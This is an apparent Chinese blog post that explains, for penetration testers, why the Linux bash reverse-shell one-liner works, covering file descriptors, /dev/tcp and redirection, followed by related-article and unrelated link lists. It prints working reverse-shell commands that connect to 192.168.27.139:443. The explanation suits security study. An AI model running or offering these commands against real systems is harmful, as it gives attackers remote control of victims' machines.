最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问题。这是一篇原理的介绍,也是给自己提的一个醒:盲目机械地工作着,没有多少思考的时间,在忙碌中已经找不到工作的本质和初心。
    Linux反弹shell的指令如下:
bash -i >& /dev/tcp/ip/port 0>&1
 
1
bash -i >& /dev/tcp/ip/port 0>&1
这条命令可以拆开来进行分析。
首先,bash -i的含义就是获取一个交互性的shell,可以通过man bash命令来查看相关命令的解释。
    之后,是>&,对于这个要先了解Linux下的linux文件描述符的概念,linux shell下有三种标准的文件描述符:
0是stdin 代表着标准输入,使用<或者<<
1是stdout代表着标准输出,使用>或者>>
2是stderr代表着标准错误输出,因为也是输出,所以也是>或者>>,但是为了区别std,所以使用2>或2>>。
在默认的条件下是0。>&符号链接在一起就是把输入重定向的意思。
    对于/dev/tcp/ip/port是特殊设备文件(因为Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。 
    最后0>&1(放在>后面的&,表示重定向的目标不是一个文件,而是一个文件描述符)是把前面的输入重定向给了输出。
        那么整个 bash -i >& /dev/tcp/ip/port 0>&1就是一个交互性的shell把输入内容通过socket重定向给了远端服务器的端口,远端服务器的输入又重定向给了输出,这样就是实现了一个远程交互shell。
bash -i >/dev/tcp/192.168.27.139/443 把bash命令的结果输入到远程地址的443端口进行回显。

bash -i < /dev/tcp/192.168.27.139/443 表示把远程192.168.27.139的443端口的输入信息作为输入

这是远端输入后的回显内容

把两个场景结合起来,bash -i > /dev/tcp/192.168.27.139/443 0>&1
还可以把所有的输入输出全都给远端的服务器 bash -i > /dev/tcp/192.168.27.139/443 0>&1 2>&1
之后所有的输入输出都会在远端。

命令没有什么,极其普通,自己也不知用了多少次,但是真的缺少对底层原理的探索精神,又给自己上了一堂课。


Linux bash反弹shell原理引起的一点思考的更多相关文章

  1. 渗透测试中Linux下反弹shell的认识

    最近老是觉得自己白天工作累,晚上理应休息 堕落了几天才发觉自己真垃圾,加紧向前吧. 0x00 前言 在平时渗透还是工作中经常会遇到shell反弹的情况,网上一搜反弹shell都是一大堆,但是真正遇到反 ...

  2. 从一次渗透谈到linux如何反弹shell

    零.绪论 背景: ThinkPHP框架的--> 找到一个OS命令注入(很简单的Burp可以直接扫出来的那种):页面配置系统默认网关处. 一.渗透过程 1.首先看了一下,没有回显. 2.用ceye ...

  3. 反弹Shell原理及检测技术研究

    1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...

  4. linux 常用反弹shell小记

    在渗透测试过程中由于防火墙和其它安全防御措施,很多服务器只能单向向外访问,不能被访问,我们常常需要反弹shell. 1.bash反弹shell 本地开启监听 nc -lvvp 受害主机命令 bash ...

  5. Linux入侵 反弹shell

    目录 一.简介 二.命令 三.NetCat 一.简介 黑入服务器很少会是通过账号密码的方式进入,因为这很难破解密码和很多服务器都做了限制白名单. 大多是通过上传脚本文件,然后执行脚本开启一个端口,通过 ...

  6. 用bash反弹shell

    用bash反弹shell 受害主机:linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig  ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击 ...

  7. bash反弹shell检测

    1.进程 file descriptor 异常检测 检测 file descriptor 是否指向一个socket 以重定向+/dev/tcp Bash反弹Shell攻击方式为例,这类反弹shell的 ...

  8. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  9. linux下反弹shell

    01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10      192.168.43.151       监听端    装有nc kali        ...

随机推荐

  1. Spring官方都推荐使用的@Transactional事务,为啥我不建议使用!

    GitHub 17k Star 的Java工程师成神之路,不来了解一下吗! GitHub 17k Star 的Java工程师成神之路,真的不来了解一下吗! GitHub 17k Star 的Java工 ...

  2. 手写Redux-Saga源码

    上一篇文章我们分析了Redux-Thunk的源码,可以看到他的代码非常简单,只是让dispatch可以处理函数类型的action,其作者也承认对于复杂场景,Redux-Thunk并不适用,还推荐了Re ...

  3. 多态(polymorphism)

    2020-10-17        longzqa@163.com        stronglzq [摘要]针对多态及相关知识进行阐述.继承关系中,多个子类都需要调用一个父类抽象方法,使用多态写法: ...

  4. CentOS 8 关闭防火墙

    SELINUX=disabled vim /etc/selinux/config systemctl disable firewalld.service

  5. Apache Hudi助力nClouds加速数据交付

    1. 概述 在nClouds上,当客户的业务决策取决于对近实时数据的访问时,客户通常会向我们寻求有关数据和分析平台的解决方案.但随着每天创建和收集的数据量都在增加,这使得使用传统技术进行数据分析成为一 ...

  6. abstract关键字的说法

    含有abstract修饰符的class即为抽象类,abstract 类不能创建的实例对象.含有abstract方法的类必须定义为abstract class,abstract class类中的方法不必 ...

  7. 利用Gitee转接GitHub下载加速 简简单单 - 快快乐乐

    利用Gitee转接GitHub下载加速 简简单单 - 快快乐乐 JERRY_Z. ~ 2020 / 10 / 26 转载请注明出处!️ 目录 利用Gitee转接GitHub下载加速 简简单单 - 快快 ...

  8. SpringCloud Alibaba开篇:SpringCloud这么火,为何还要学习SpringCloud Alibaba?

    写在前面 大家都知道,SpringCloud Alibaba是在SpringCloud基础上开发并开源的一套微服务架构体系.那么,肯定会有小伙伴要问:在微服务领域,SpringCloud已经很火了,为 ...

  9. 4G DTU的应用场景介绍

    4G DTU因为信号要比传统的gprs网络要好,目前已经被广泛应用于物联网产业链中的M2M行业,以远向4G DTU LTE-520为例,它的应用场景如智能电网.智能交通.智能家居.金融.移动 POS ...

  10. Java学习的第三十一天

    1.使用RandomAccessFile随机读写文件 2.没有问题 3.明天学习综合实例